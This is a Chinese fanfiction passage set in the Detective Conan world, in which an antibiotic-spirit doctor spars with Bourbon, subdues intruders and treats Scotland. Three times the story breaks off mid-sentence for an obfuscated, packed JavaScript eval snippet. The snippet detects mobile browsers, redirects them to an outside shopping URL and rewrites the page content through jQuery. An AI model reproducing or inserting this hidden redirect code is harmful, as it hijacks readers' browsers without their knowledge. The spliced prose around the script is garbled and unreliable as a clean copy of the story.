“不过听你这么说,苏格兰发烧恐怕不是单纯的疲劳过度哦。”
萩原研二的声音带着若有所思的玩味,背景音是清脆的削苹果声。
安室透止住挂电话的手,蹙眉道:“说清楚。”
“我是说啊——”萩原研二声音拖长,“你之前去接青岛君时,也出现过类似的症状吧?发烧、心跳过速……当时你不是还跑来问我有没有类似效果的药?”
安室透的呼吸微不可察地顿了一瞬。
而另一头,任凭夹在耳朵与肩膀间的手机被抽走,萩原研二对床上点开免提的男人眨眨眼,继续用闲聊的语气煽风点火:
“这可是你自己说的。而且青岛君的确有可能这么做,毕竟他对我们的称呼都是细菌,看起来很像遇到细菌病毒就直接喷消毒剂的类型呢,那给苏格兰下药也不是没可能吧?”
“而且,你和他第一次接触时,不也没察觉到他怎么动的手脚吗?”
安室透沉默半晌,语气带上探究之意:“你表现得对他那么感兴趣,到头来又来我这给他上眼药?”
“唉呀~这不是顺着你的思路合理推理嘛。”
半长发男人将削出兔子耳朵的苹果递给一只手,在对方‘咔嚓咔嚓’的咀嚼声中笑眯眯总结:
“按照你的说法,青岛君一靠近苏格兰,苏格兰的症状就明显了,那说不定是青岛君觉得你太难搞定,转而想对更虚弱的苏格兰做些坏事呢。”
“别告诉我这次你根本没怀疑过他哦,波本亲。那样的话,你们关系升温的速度可比我想象中快得多啊。”
“——区区两天而已。”
是啊,区区两天而已。
接触不过数小时,大半时间都在互相试探…不,主要是他单方面被气。可为什么,为什么他会下意识排除‘青岛纯生动了手脚’这个最初也最合理的怀疑?
挂断电话,安室透低头盯着手里的便当,手指按在透明餐盒上,将里面无辜的章鱼小香肠戳来戳去,把它们的脚挨个挤扁,眼神晦涩不明。
尽管根据他的调查,青岛纯生与跟踪他的人应该不是同一人,但也不代表青岛纯生无害。
而且对方之前对他下药,还能解释成遇到陌生人升起的危机意识,可给苏格兰下药又是什么理由?挑衅?
这人看着也不是什么人面兽心的家伙……总不能青岛纯生自带药效,把他们这些‘病菌’一个个都迷倒了吧!
……算了,当务之急是回到苏格兰身边。青岛纯生此人太过诡异,他现在不是很想放对方与苏格兰独处。
回想起田纳西唯恐天下不乱的推理,安室透只觉眼前一阵发黑。
可他已然在开车回去的路上,为了公共安全,他强行把黑屏的想象压下去,一边想着苏格兰的音容笑貌,就这样眼前一黑一亮、脸色也一黑一亮地回了医院。
然后就听到了《惊!新医生人面兽心,竟趁机物理冲撞病弱干部!》的现场版本。
安室透:“……”
——你这家伙要对苏格兰做什么啊!!
‘砰’的一声肘开门,却又顾及着被他人听见,安室透只得压低音量,从牙缝里挤出低吼:
“青岛纯生!你是不是又下药了?!”
头孢将便当接住,掀了掀眼皮,“下药?”
他瞥了眼固定的输液针。他开的是退烧药和生理盐水,理论上对杂菌都不致命,但某种程度来说确实是药。
于是他坦然点头:“没错,我下药了。”
“哈?”安室透这次是真气笑了,“你就这么承认了?”
话音刚落,他右手闪电般探至腰后,转瞬间,黑洞洞的枪|口已对准白发青年的额头。紫灰色的眼里再无丝毫温度,只剩冷硬的警告与杀意:
“从苏格兰身边离开,现在。”
当事人苏格兰满屏问号:[???]
一片杀气腾腾中,头孢并未动作,只是眉梢挑起0.01cm,语调平铺直去:“用枪指着同事是很不礼貌的行为。”
安室透的枪更近了,“把你的废话收收。”
面对毫不掩饰的杀意,头孢只抬手调了一下输液管的速度,淡淡道:
“我不会离开。而且,我对他下药也只是为了让他提高夜间睡眠质量。”
就这样也要动手?果然杂菌都不可理喻。
安室透冷笑,“说得好听,谁知道你说的睡眠质量是不是每天24小时睡眠。”
“还有这种药?”头孢好奇。
“那是毒药!”
“原来如此,早这么说不就懂了?”
安室透:???
可恶,这家伙以为自己在跟谁说话!
被激怒,金发男人的表情愈发狠厉,二人间的气氛剑拔弩张到极点,谁都不肯退后一步。
就在此时——
“扣扣。”
轻敲床边的声音不大不小,刚好打破僵持的氛围。
安室透持枪的手一滞。他看向对方,发现猫眼男人已半坐起身,那只没输液的手抬了抬,做出一个安抚下压的手势。
对方脸上因发烧浮现的红潮未退,但那对猫眼里却是一片沉静、令人安心的蓝。
苏格兰叹了口气,打下一行字:
[波本,我没事,药是我同意输的。]
[他没有恶意,至少现在没有。]
安室透的瞳孔缩了一下,“……你确定?”
[确定。]
安室透看着屏幕上的字,又看向苏格兰平静的脸,半晌后终于垂下手臂。
可他没收起枪,只是改为握在身侧,目光依旧紧盯着白发青年。
——苏格兰在护着青岛纯生。
这个认知让安室透难得烦躁。他很了解苏格兰,尽管没到田纳西与加拿大那种幼驯染程度的了解,可苏格兰打断他的时机,明显是在给青岛纯生台阶下。
“原来如此。”
金发男人扯出一个毫无笑意的笑容,迈步走到床边。他看向吊瓶上的标签,片刻后挪开视线看向白发青年,幽幽开口:
“看来这次是我误会了。但毕竟你之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173634|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前有前科,我难免多心。”
他把前科两个字咬得很重。
头孢以为对方说得是那次出师未捷的投毒行动,也没反驳,注意力转向便当盒。
他打开盖子,看着里面被戳得东倒西歪的章鱼香肠,以及略显凌乱的菜色,颔首:
“下次注意。”别再把西红柿炒蛋和饭摇匀了。
安室透:?
顺杆爬是吧?行:)
无视恐怖的眼神,头孢拿起筷子夹了块鸡蛋,递到苏格兰唇边,语气坚定:
“吃。”
只有吃东西补充能量,猫眼菌才能活下去,要是死了就没办法带他去看其他杂菌了!
苏格兰:[……这个是给我的?]
头孢用力点头。
系统声音干巴巴的:【宿、宿主,气氛好像不太对吧?】
你确实给苏格兰喂饭献爱心了,可这操作也太拉波本的仇恨了啊!!
看着怼到嘴边的鸡蛋,苏格兰又看了眼脸色已然五彩斑斓黑的波本,沉默两秒,还是张口接受了投喂。
安室透则眼睁睁看着男人吃下食物,腮帮一动一动的,只觉自己的太阳穴也跟着一动一动的。
他将枪收回腰间,待到便当见了底,这才咬着牙开口:“青岛纯生,跟我回基地。”
这家伙,绝对不能继续留在苏格兰身边了!
将便当盒处理完毕,头孢闻言想了想觉得也可以,便对苏格兰叮嘱:
“还有一小时,你记得拔针,好好休息。”
别因为休息不好嗝屁了,不然他上哪找下一个行动组的杂菌?
说起来,和他一起读博的同门说过,实验室里的菌也经常因为研究员左脚先踏进实验室就嘎掉,那金毛菌和猫眼菌该不会也是实验室菌种?
思考着这样的问题,头孢跟着和苏格兰约好一会儿回来的波本一起,踏上了回基地的路。
车内气压低得能冻死人。安室透握着方向盘,目视前方,声音像是从冷库里捞出来的:
“青岛纯生,我不管你到底有什么目的,离苏格兰远点。”
头孢从窗外飞速倒退的街景中转头,“他是我的病号。”
“病号?”安室透冷笑,“组织里没有病号,只有有价值和没价值的成员。而你的价值目前仅限于你的医术,别做多余的事,也别有多余的好奇心。”
他顿了顿,侧过头,紫灰色的眼锐利如刀:
“尤其是,别用你那些药,去招惹不该招惹的人。苏格兰不是你能碰的。”
不能碰猫眼菌么……
头孢与他对视:“你在担心猫眼菌?”
真稀奇,难不成杂菌之间也有那么深的链接?
“我是在警告你。”
安室透收回视线,语气森然,“做好你的本分,或许还能活得长久点。”
否则他绝对会用枪敲爆这家伙的脑袋。
“到了。”
车子在基地外停下,安室透没有熄火,意思很明显地让人赶紧滚下去。
头孢解开安全带,推门下车,却在关上车门的前一刻,忽而回头。
“金毛菌。”
“关于猫眼菌和你,我有个问题问你。”
安室透眼角一跳。
11.十一颗头孢
有那么一瞬间,安室透觉得那对冷淡的黑眸洞穿了他想藏匿的一切,令他与苏格兰的关系无处遁形。
是他的态度让青岛纯生看出了端倪?又或者对方通过其他人了解到了他们的过去?
但无论哪一种,就如安室透此前多年所做的那样,他绝对不会透露任何。因此,纵然青岛纯生想询问的有千言万语——
“你想问什么?”
“你和猫眼菌的关系。”
“呵,你凭什么认为我会回答你?”
金发男人抱着臂靠上椅背,眉峰挑起锋锐的弧度,嗤笑出声:
“别忘了,实际论起来我可是你的上司,青岛君。没追究你的种种不敬只是我懒得动,不代表我没脾气。”
“还是说——”
他指节点了点手臂,一双下垂眼危险地眯起,“你想强迫我?”
头孢眼睛终于睁大了,“你竟然猜到了。”
安室透:??
“但我放弃这个方案了。”话锋一转,盯着那对紫灰色,头孢礼貌颔首:“你和猫眼菌与其他杂菌不同,因此我暂时不会对你们做什么。”
“我会等,等你们对我主动敞开身心的那一天。”
到那时,他就可以从金毛菌他们口中获得情报,联合小阵把病原体组织一锅端了。
是的,头孢认为自己有必要了解苏格兰与波本之间的关系,这对他完成得罪大业很有帮助。
毕竟如果他们关系好,那么得罪苏格兰和波本其中一个,就相当于得罪另一个,那他最多只要得罪病原体组织内二分之一的杂菌就能完成任务。
但他并不急于一时,叮嘱他们注意身体别过早死掉,也是很必要的。所以——
“但你不能忌讳就医。”
头孢语气平淡地陈述,“精神紧张,睡眠不足,头部可能也有炎症,我建议你找时间来医务室看看。”
“再见。”
说完,他关上车门,头也不回地走向基地。
安室透盯着他的背影,直到那扇白色的门关闭,这才猛地一拳砸在方向盘上!
“混蛋!”
什么叫头部炎症,不就是脑子有问题吗!
而且敞开身心?他和苏格兰?
怎么听都是新下属意图对上司图谋不轨,还打算玩点刺激的吧!
深吸一口气,安室透决定回医院与苏格兰从长计议,立刻驱车离开了基地。
医院,单人病房。
去而复返时,苏格兰的药刚好输完,护士正在为他拔针。
等到护士离开,病房内重新恢复安静,安室透才走到床边,盯着猫眼男人头顶的发旋,方才的冲劲却忽然卸了力。
他开口,嗓音沉闷:“为什么?”
苏格兰按着棉签,闻言抬眼看向那对眼尾下垂的眸子。
没有立刻得到回答,安室透眉头紧锁,“你刚才是在护着他对吧。苏格兰,那家伙太诡异了,现在又对你……啧。”
他撇过头,抿唇道:“总之,青岛纯生的来历、目的全都是一团迷雾,这种不按常理出牌的人非常危险。”
苏格兰沉默片刻,拿出手机:[那你呢,波本?]
[你之前和他接触时,究竟发生了什么?不只是你之前说的肢体摩擦那么简单吧……‘又’下药,就说明之前青岛君也对谁下过药,是你对么?]
安室透身体微微一僵,脸上闪过一丝不自然。
巷子里的短暂接触、难以言喻的失控感,以及后来复盘时察觉到的种种违和……青岛纯生身上确实有种令人不安的异常,可偏偏他没办法对苏格兰吐露全部真相。
“……他很危险。”安室透最终只是重复道,语气沉重,“我看不透他,也不希望你靠近他,尤其是在这种状态下。”
他指了指苏格兰薄红褪去、有些苍白的脸。
猫眼男人望向窗外。东京的天空不知何时堆积起了厚重的云层,光线变得晦暗。
[要下雨了。] 他忽然打字。
安室透愣了一下。
[我去试探他吧。] 苏格兰收回视线,看向安室透,猫眼平静无波,[总需要有人弄清楚他到底想要做什么。]
“不行!”安室透立刻反对,“你身体情况目前不乐观,这么做太冒险了!”
[我的烧已经退了。] 苏格兰坚持,[而且这是目前最直接的方法,他是医生,我是病人,有合理的接触借口。]
“可……”
[Zero。]
苏格兰打断他,[别忘了,zero,在组织里,我首先是一把枪。]
他的手指在屏幕上停顿一下,随后继续敲打,字符一个个跳出,平静得近乎残酷:
[一把枪,或者一件趁手的工具,是不需要担心受伤的。]
而工具,只要还能完成任务,就够了。
安室透的嘴唇抿成一条直线。
他看着对方冷静的脸,那对湛蓝湖泊中没有分毫波澜,仿佛只是在陈述一个再简单不过的事实,却让尖锐的刺痛瞬间攥住他的心脏。
无法宣之于口的话沉沉压住了所有言语,最终他只是吸了一口气,又缓缓吐出,闭上了眼睛:
“青岛纯生的身手很好,用的药不知成分。但除了发烧和心跳加快,他的药应该不会对身体有别的害处,如果你要接触他,最好的方式是让他察觉不到危险,也就是示弱。”
“你要小心,hiro。”
[我明白了……不过除了发热和心跳加快,还有别的症状么?]
“目前没有,你呢?你有没有事。”
[没有。]
苏格兰隐去呼吸困难以及头晕的情况,摇了摇头:[如果只是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178514|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
示弱就可以解决,那我的确是最适合的试探人选……青岛君还不清楚我代号的来历,对吗?]
安室透沉默片刻,“嗯。”
[那就更好办了。]苏格兰笑了,打出下一行字:[说不定,这次也只需要淋一场雨就能解决呢。]
就像当初的他杀死上一个苏格兰时那样。
然后——
【然后杂菌之间就会产生级联放大反应,换个说法,就类似于多米诺骨牌。】
头孢站定在医务室门外,边掏钥匙,边与系统解释他的想法:【这样,通过猫眼菌和金毛菌,我们可以更快地认识更多杂菌,完成任务的速度也就越快。】
【是个好主意,】系统还是迟疑:【可苏格兰虽然脾气不错,但他很少跟别人沟通吧?波本就更是……】
它都不好意思说宿主那个反向冲刺的操作,如果它有好感度显示,波本对宿主的好感绝对是负数啊!
叹了口气,系统扭了扭身子,倦意上涌:【算了,我先休息一下,有情况千万要喊我哦!】
头孢用钥匙开了门,乖巧点头:【好。】
暂时切断与系统的对话,推门的瞬间,头孢脚步一顿。
空气中弥漫着一丝极淡的、不属于这里的陌生气味。他反手关上门,没有开灯,借着黄昏晦暗的天光,视线快速扫过室内。
一切看似整齐,可头孢的视线很快落在药柜旁边的处置车上。
那里放着好几盒拆封的止血带,七零八落,利器划过留下平滑的切口。
他走到器械消毒柜前,打开清点,发现手术刀片少了两个。
最后,他检查了门锁。锁舌上有新鲜的、极其轻微的划痕,技术算不上高超,带着一种急于求成的粗暴,远不如之前潜入这里的紫色杆菌干净利落。
有人来过,目的不明,但显然不怀好意,而且手法生疏急躁。
头孢站在原地,思考了两秒。
是冲他来的?还是冲这间医务室?
他走到窗边,看了一眼外面越来越暗的天色和堆积的乌云。然后像没事妖精一样,开始整理被翻动过的药品,将止血带收好,记录下缺失的手术刀片型号。
夜晚降临,雨终于淅淅沥沥地下了起来,碰碰地敲打着医务室的窗户。
头孢没有离开,而是找了本书坐在诊室的椅子上看,妖精的视力让他能够在黑暗中清晰视物。于是他就在一片黑暗与系统的嘟囔声中等待着,直至雨声无法掩盖另一种声音。
轻微的、小心翼翼的‘咔哒’声从门锁处传来。
然后是门轴转动,极其细微的、滞涩的金属摩擦音——
“吱呀。”
医务室的门被从外面推开了。
一道道被走廊昏暗灯光拉长的、带着湿漉漉水汽的影子投在了室内的地板上。
头孢合上了书。
12.十二颗头孢
黑暗中,三道人影鱼贯而入。
与头孢预想中的不屑伪装不同,来人用压低的帽檐遮住面目,显然不想被他看到真容。
走在最前的人右手反握匕首,第二人左手垂在身侧,看样子也带了把刀,第三人则将门板合上,配合默契。
“砰!”
而与关门声一起,头孢动了。
不是冲向敌人,而是侧滑半步。这个角度让第一名袭击者的匕首恰好从他手臂外侧掠过,还没等对方反应,头孢就反手握住对方持刀的手。
然后下一秒,那人就双脚离地一下子飞了出去!
“啊!!”
【嗨嗨宿主我醒了……啊啊啊你干嘛!】系统惊恐,【你不能现在就把他们都鲨了啊!我们的计划怎么办?!】
不是说好的徐徐图之吗!!
【我知道,这只是普普通通的杂菌制裁术。】
头孢活动活动手腕,耐心解释:【放心,我有分寸,最多打个四分之三死。】
系统:???
你这是哪门子的分寸!你的分寸就是给医务室的墙增加人形壁画吗!!
系统在脑内尖叫,医务室回荡惨叫,第二名闯入者见状提刀跟上,可头孢更快。
他甚至没躲,而是迎上去,侧头让刀刃擦过耳际,右手顺着对方的小臂划过去,将匕首打落在地,接着膝盖直接顶进对方膝弯,足尖一别,男人的腿立刻发出错位的脆响。
在此起彼伏的惨叫声中,视线又捕捉到想跑的人影。头孢一把攥住男人的后颈衣物,瞬间将那人的兜帽拽落,露出一张年轻凶狠又带着惊恐的脸。
对方反手肘击却又落空,头孢索性按住他的后脑,将那人的整张脸压在了诊桌上!
“嗷!!!”
至此,袭击者全部缴械。
系统全程不敢出声,直到这时才小心翼翼地探头:【三名入侵者已全部失去战斗力……他们昨晚中的毒恢复得这么快?】
这也太有干劲了吧?
头孢也有些纳闷:【不清楚。】
他环视全场,第一名入侵者还在墙上抠都抠不下来,第二名倒地不起像是要讹他一笔,第三名则是被他按在桌子上的家伙,大气儿都不敢喘。
现在看着倒是乖巧许多,可按照他的预测,这群杂菌应该会消停几天才对,怎么会这么快就来暗杀?
难不成……是他昨晚下毒未遂,所以没什么震慑力?
算了,先好好沟通一下吧。
这么想着,头孢在第三人口袋里摸到一截止血带,显然是从医务室偷走的那一批。
他将止血带揣进白大褂口袋,而后松开按着男人后脑的手,看对方连滚带爬地退到墙角,慢吞吞道:
“手术刀,还差两把。”
“我、我我……”那人喉咙滚动说不出一句完整的话,脸色也不知为何特别红,可头孢没在意。
打斗时他发现,这些杂菌身上都有严重的暗伤,尤其是自己手底下这位。
而优秀的潜伏者应该和周围杂菌搞好关系,这样才能探听更多消息——就像他对金毛菌与猫眼菌那样,所以他要贴心地提醒杂菌们注意身体健康。
于是头孢体贴地开口:“明晚之前,把刀送还到这里,顺路找我治疗。逾期的话,我不确保你们还能看到明年的太阳。”
手底下的人一抖:“是…是的!谨遵您的吩咐,医生大人!”
头孢满意了:【你看,系统,他们还是能好好说话的,只不过需要武力震慑。下次金毛菌再拔枪,我就把他按在桌子上好了。】
系统:【???】
它这辈子还能看到平衡值满的那一天吗?后仰.jpg
三人一瘸一拐地逃走,临走还不忘回身把门关好。头孢看向窗外,发现雨已经变得绵密如雾,附着在玻璃上凝成一道道水珠,时针也走至十点。
妖精没有生理需求,自然不需要睡眠。他收回视线,正准备去把书读完,就听很轻的脚步声从门外传来,紧接着敲门声响起——
“咚咚咚。”
有节奏的三声。头孢在书本与开门之间纠结片刻,还是丢下书打开门。
门外站着萩原研二。
半长发被雾气濡湿,贴着脸颊,几缕发丝垂落在额前。萩原研二没穿之前那身衣服,只套了件黑色薄风衣,手里拎着便利店袋子,袋口露出一角三明治的透明包装。
看见头孢的瞬间,那对紫罗兰色的眼睛弯了起来。
“晚上好呀,医生。”他晃了晃手里的袋子,“我来送外卖了,这次不是生冷食物哦。”
“还是说,刚刚闯进来的那些家伙,已经把你喂饱了呢?”
头孢盯着他,半晌一歪头,“我不吃菌。”
这只杂菌在想什么?
萩原研二笑容一僵:“啊哈哈,医生你可真幽默~”
他自顾自地走进来,把三明治放在诊桌上,坐在头孢刚坐的椅子上,又回头看了眼门锁上粗糙的划痕,一挑眉:
“果然沉不住气了呢,那些小家伙。”
见状,头孢并未再找地方坐下,而是抱住双臂,靠在诊桌边缘,开口:
“你知道医生被袭击的内幕。”
“哼哼~当然!“萩原研二拍拍胸脯,“基地里没有田纳西不知道的事——大家都是这么说的哦。但这些不该从我口中说出去,所以我是不会告诉医生你的。”
“不过……”
他从风衣内袋摸出手机,修长的手指在屏幕上快速滑动,语气随意:
“我会帮你介绍几个行动组的人过来,让他们轮流跟你一阵子,至少那些外围的家伙不敢再来试水了。”
头孢看着他,眼底终于浮起一丝极淡的疑惑。
“为什么?”
“嗯?你说为什么帮你吗?”
萩原研二歪了歪头,半长发随着动作滑过肩头,忽而笑盈盈道:
“安啦,我可不打算做慈善。帮你牵线的人情还是要还的……你想拿什么还?”
头孢看着他,陷入沉思。
这里的杂菌身体情况似乎都不好,紫色杆菌应该也不例外,那么自己能够与之交换的是……
“给你扎一针?”
萩原研二呆住:“啊?”
“止痛的。”头孢眼神坚定,“根据六人定律,金毛菌和猫眼菌有病,同理可证你可能也有病。”
萩原研二:“……我现在已经开始思考哪里得罪过你了,不过话说我们在你眼里都是有病吗……”
“嗯?”
“不,没什么。”萩原研二深吸一口气,“那陪我逛街吧。”
头孢:?
“就当还人情。”
萩原研二笑起来,眼睛弯成月牙,“刚好我要给朋友买点东西。毕竟总不能真让你扎我一针吧?我可是超级怕疼诶。”
“那好。”头孢痛快应下。
尽管这只杂菌的脑子实在奇怪,但既然对方接受了这个交换条件,那他也没有拒绝的理由。
萩原研二笑得更开心了。
系统忍不住插话:【宿主,你知道他那个表情是什么吗?】
头孢:【笑?】
系统恨铁不成钢:【不,那个叫得逞啊!】
头孢:【?o-O】
*
事实证明,系统的担忧是对的。
周末午后,银座的商业街,人潮如织。萩原研二像一只旋转小陀螺,从这家店转到那家店,步履轻快,时不时拿起某件商品对着光线端详,嘴里念念有词:
“这个颜色小阵平会喜欢吗……唔好像太暗了…啊这个不错!你看这个——”
他把手里的东西举到白发青年面前,兴致勃勃:“像不像zero?”
头孢艰难地从挂满他全身的购物袋里挣扎出来,看向那只造型妖娆的暹罗猫摆件,以及暹罗猫锃光瓦亮的蛋蛋,沉默了两秒:
“谁?”
“哦对,你没见过。”萩原研二眼底划过一丝狡黠,旋即自顾自地把摆件放进购物篮,大手一挥:
“买了!小阵平最近卧床,是该给他买些能逗笑的东西。”
头孢的注意力被一个词吸引:“卧床?”
“对,”萩原研二正在端详货架上的另一只墨镜柴犬,“他受伤了,最近都在家里窝着。”
头孢终
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184286|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于想起前一天对方的话,恍然:“原来如此,所以上次你是为了那个小阵平菌拿的医疗包。”
萩原研二抬眼看他。
两秒。
一秒。
他忽然捂住嘴:“哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈小阵平菌是什么东西啊!!”
半长发青年笑得肩膀直抖,购物篮里的猫猫狗狗也跟着颤。就在头孢开始思考要不要给紫色杆菌来一针镇定时,对方擦擦眼角,感慨一句:
“你还没那么迟钝嘛,新人君。”
头孢:?
头孢很不开心,“我很敏感。”
他可是一生敏感的抗生素,就算是广谱抗菌也不能以为他迟钝!
“好好好,你很敏感~”
过于认真的话又把萩原研二逗笑了。他放下打包好的礼物,转向头孢,稍微凑近了一些。
半长发青年身上有淡淡的薰衣草香气,在阳光下是衣物特有的干净气味。
“敏感的话——”他微微歪着头,视线落进白发青年漆黑的眼底,“你应该能看出来,波本不希望你回到训练营吧?”
话题转得太快,就如萩原研二这人一样,尖锐的棱角总是从意想不到角度刺来。
头孢却没有躲,而是迎着视线颔首:“知道。”
“那你为什么要回来?”萩原研二追问。
他的语气还是那么轻快,笑意却收敛了几分。那双漂亮的紫罗兰色眼睛里,好奇和审视层层推开,却没有攻击性,只是在等一个结果——
“因为我是医生。”
头孢拿出自己一直以来的说辞,“医生不能因为病号敌视自己,就放弃治疗他们,那是失职。”
嗯,只要还有杂菌没杀光,他就不可能离开,半途而废可不是他的风格。
“……原来如此。”萩原研二沉默一瞬。
所以,青岛纯生是想改变训练营的畸形制度,才会选择留下来,继续做他认为医生该做的事吗?
真是固执到天真的责任感啊……在这种腐烂的地方。
垂眸掩去眼底晦涩,萩原研二直起身,嘴角的笑意不再轻飘。
“我会介绍行动组的人给你的。”他说,“很靠谱的那种哦。”
不知为何对方又提了一遍,但头孢仍是点头:
“好。”
他们在附近又逛了一会儿,回到基地时已是黄昏。
萩原研二落后半步下车,看着白发青年提着大大小小的购物袋走在前面,夕阳在对方的发尾镀上一层暖金色的光。
头孢最后在园艺区停留了很久,挑了一盆仙人掌。是用蓝色小盆装着的、顶了朵淡粉色小花的球球,如今正捧在他手里。
“说起来,你喜欢这个?”萩原研二好奇地凑上去,“有刺诶,不怕扎手?”
“我喜欢仙人掌。”头孢认真解释:“很安静,只需要水和阳光就能活下去。扎人也只是保护自己,并非恶意,这种植物很不错。”
而且还可以解毒消肿,关键时刻扎死杂菌也是好的。
萩原研二暗戳戳正要戳刺的手指顿在半空,脑海中浮现出一个戴着兜帽的人影,双眸眯起:
“唉,这样吗~”
“是——”
头孢的脚步停住了。
因为医务室门口站了一个人。
灰蓝色的连帽衫,兜帽半罩在头上,遮住大半张脸。只有一小截苍白的下颌露在外面,上面是浅浅的胡茬。
似乎听到了他们的脚步声,男人抬起头,白炽灯光落入那对湛蓝猫眼,平静如无风的湖水。
——是苏格兰。
猫眼男人看到他们后往前走了几步,停住,萩原研二则自来熟地挥挥手,热情道:
“这不是苏格兰嘛,真巧~你是什么时候……哎呀。”
他说着,忽然看向苏格兰后方的地面,眨了眨眼,“其实——我和医生君出门前,医务室门口刚好撒了些水哦。”
“按理说这些水应该全部蒸发掉了,但苏格兰你脚下的地……竟然还是湿的诶。”
顿了顿,他尾音上调,语气迟疑又无辜:
“你该不会,在这里等了半天吧?”
13.十三颗头孢
头孢顺着萩原研二的视线,垂眸看向地面。
确实有水迹。
准确地说,是医务室门口那一小片地砖,颜色比周围深了一圈。水渍的边缘还没有完全干透,在暮色里晕染开,勾勒出有人站过的轮廓。
头孢后知后觉,“的确……”
系统:【啊?】
头孢对系统解释:【中午出门时你在休眠所以不清楚。当时有两只杂菌要在门上放水,我推门一不小心把他们嵌在了对面墙上,水也洒了一地。】
系统无语:【你那是不小心吗……不过根据蒸发速度来看,这滩水确实该在一小时前蒸发了。】
头孢感慨:【所以猫眼菌至少在这罚站了一小时。】
【看来是的。】
【那他很信任我的医术了。】
不然也不会为了挂专家号排这么久。
系统茫然:【啊?】
无视懵逼的系统,白发青年他走上前,从口袋里掏出钥匙,插入门锁。随着咔哒一声,他侧过身,视线从萩原研二脸上扫过。
“你可以走了。”他对萩原研二说。
然后转向苏格兰,微微颔首:“进来吧。”
萩原研二的笑容凝固了,“诶?”
他维持着礼貌的微笑,尾音上扬,带着恰到好处的困惑:“医生君,你是不是搞错了什么?我们是一起回来的哦,我还没进去坐坐呢?”
头孢转头盯住他,“你还有事?”
“呃,没有特别的事……?”
“那不就得了。”
萩原研二:“……”
你这过河拆桥的速度未免太快了吧!
“医生君,”萩原研二捂住胸口,语气悲戚,“今天的购物袋有一半是我提的哦?”
头孢点头:“辛苦了。”
“我要帮你介绍行动组的人诶?”
“感谢。”
“……我还陪你逛了三小时街!”
头孢的语气终于多了半分迟疑,“那不是我被迫的?”
这只菌的脑子终于不行了吗?
萩原研二:“…………”
他深吸一口气,再深吸一口气,然后露出一个非常、非常委屈的表情。
“好吧。”萩原研二垂下眼睫,半长发遮住侧脸,声音轻得像被风吹散的落叶,“既然医生君这么不想看见我……”
他转身走了两步,又退回来。
白发青年站在原地,无动于衷。
他又走了两步,再退回来。
白发青年正在琢磨地面上的水渍,认真得像在估算苏格兰的鞋码,听到声音抬头,略显诧异:
“你为什么要用鞋底反复摩擦走廊的地?”
萩原研二:“……因为你在用冷漠狠狠摩擦我的脸,亲爱的新人君。”
他这次真的走了!!
风衣下摆在暮色里扬起一个决绝的弧度,半长发青年步伐坚定,头也不回——
随后嗖的一下躲进走廊拐角处,掏出手机,委委屈屈地戳着键盘:【我被用完就丢了!(′°????????ω°????????`)】
三秒后,一个颜文字躺进邮箱里:
【:D】
萩原研二:“……小阵平!!!”
*
医务室门口。
头孢目送男人的背影消失在走廊尽头,便收回视线,就见苏格兰还站在原地没动。
他等了五秒,确认对方不打算主动开口,便只重复一句:“进来。”
而后走进医务室,打开灯,将仙人球放到诊桌上。
日光灯下,仙人球的刺泛着白光,顶部淡粉色小花缩成一团,像没睡醒。而在头孢身后,苏格兰迟疑片刻还是跟了上去,随手将房门落锁。
一时之间,走廊里那些似有若无的呼吸声、布料摩擦声、鞋底与地面若有若无的触碰,全都在门锁落下的咔哒声中消失了。
头孢背对着他将手机屏幕点亮,又从抽屉里拿出体温计,道:
“我不清楚你到底会不会说话,但用手机交流应该没错,所以你这次哪里不舒服?”
苏格兰凝视着那道高瘦的背影。
对方换了与波本对接那天穿的白色风衣,类似白大褂,看上去就和没有离开过医务室一样,可他知道这位新人医生被情报好手田纳西带出去晃了一圈。
苏格兰的视线顺着青年的手下移,落到对方正在捏着体温计的指尖,拿出手机打字:
[我上午起来胸疼,就打算找你看看。]
他说着,双手捏住连帽衫的底摆。
生病是没有破绽的示弱。为波本挡下那次实验后,他的身体情况就不是很乐观,好不容易调理好,又因为忙于任务反反复复,因而就算青岛纯生给他开了退烧药,转头也会因着冲凉再次发烧。
于是他将温度维持在烧不坏也灭不了的程度,来到医务室,目的是为了让青岛纯生放松警惕,借机试探对方接近他们的目的。
那么现在,他需要脱衣服。
捏着衣角的指节紧了紧,苏格兰总感觉这么做更像色|诱,可他管不了那么多。他从下至上地将卫衣一路掀到胸口,露出紧实的肌肉线条,正要继续——
“哦,那你下午起来不就行了?”
苏格兰的动作僵住了。
头孢对着灯光检查水银柱,看到水银柱在35°C以下时满意了:
“实在不行你可以晚上起来。听紫色杆菌说,行动组喜欢昼伏夜出,那你晚上起正好。”
说完,发现没有新邮件进来,头孢有些疑惑对方为什么不回答,回头一看。
